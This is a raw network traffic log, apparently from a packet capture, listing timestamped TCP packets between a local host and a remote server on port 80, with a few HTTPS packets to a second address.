Nov 15, 2024 09:55:42.023350000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023361921 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023363113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023376942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023385048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023392916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023406029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023416996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023421049 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023433924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023444891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023464918 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023469925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023510933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023521900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023545980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023559093 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023575068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023593903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023606062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023617983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023628950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023632050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023652077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023663998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023665905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023675919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023688078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023691893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023700953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023705006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023718119 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023726940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023750067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023751020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023762941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023786068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023807049 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023904085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023921967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023942947 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023953915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.023974895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.023987055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024007082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024007082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024019957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024023056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024034977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024036884 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.024039030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024049997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024060011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024074078 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024084091 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024086952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024099112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024107933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024112940 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.024113894 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024120092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024127960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024136066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024149895 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024151087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024174929 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.024185896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024230957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024243116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024255037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024266005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024267912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024291039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024312019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024384975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024398088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024410009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024430990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024432898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024445057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024456978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024458885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024478912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024482965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024492025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024504900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024506092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024523020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024530888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024533033 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024539948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024558067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024566889 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024571896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024580002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024593115 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024593115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024607897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024610996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024622917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024626970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024667025 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024698973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024710894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024722099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024734020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024745941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024755001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024758101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024770975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024770975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024795055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024796009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024806976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024820089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024821043 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024832964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024842978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024844885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024858952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024868965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024869919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024884939 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024888992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024899960 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024913073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024916887 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024926901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024946928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024949074 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.024957895 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.024983883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.033503056 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.033504009 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.033551931 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.033580065 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.045555115 CET	49944	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.045595884 CET	443	49944	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.045809984 CET	49944	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.047622919 CET	49945	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.047662973 CET	443	49945	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.047979116 CET	49945	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.049455881 CET	49944	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.049467087 CET	443	49944	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.049627066 CET	49945	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.049637079 CET	443	49945	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.299731016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299742937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299756050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299772978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299783945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299792051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.299799919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299812078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.299814939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299828053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299840927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299843073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.299856901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.299882889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.299932957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299936056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299942970 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299956083 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299968004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299978971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299989939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.299990892 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300004005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300015926 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300017118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300033092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300033092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300048113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300050020 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300074100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300088882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300297976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300309896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300328016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300338984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300339937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300354958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300364971 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300368071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300384045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300390959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300395012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300406933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300415993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300420046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300431967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300434113 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300443888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300457001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300461054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300471067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300493002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300496101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300508022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300509930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300520897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300530910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300537109 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300544024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300553083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300559998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300571918 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300581932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300585032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300599098 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300599098 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300626040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300648928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300812006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300822973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300834894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300847054 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300858021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300864935 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300869942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300882101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300882101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300896883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300909996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300909996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300923109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300926924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300935984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300945997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300951004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300962925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300971031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.300981998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.300995111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301002026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301007986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301014900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301014900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301021099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301026106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301038980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301049948 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301059961 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301065922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301071882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301078081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301081896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301084042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301085949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301100016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301105976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301111937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301125050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301126957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301136971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301148891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301151991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301165104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301167011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301177979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301189899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301192045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301203966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301215887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301224947 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301229954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301234961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301255941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301270008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301563978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301575899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301590919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301600933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301601887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301615953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301620007 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301625967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301639080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301641941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301651955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301664114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301671028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301677942 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301690102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301697969 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301704884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301712990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301723003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301736116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301742077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301748037 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301759958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301774979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301778078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301788092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301795006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301800013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301810980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301811934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301825047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301836014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301836967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301847935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301860094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301862001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301872969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301881075 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301887035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301898003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301908970 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301909924 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301919937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301934004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301934004 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301948071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301954031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301960945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301969051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.301975012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301986933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301997900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.301999092 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302009106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302021980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302021980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302042961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302053928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302330017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302341938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302360058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302383900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302407026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302467108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302504063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302606106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302618027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302629948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302644014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302654028 CET	49872	80	192.168.2.7	185.215.113.206
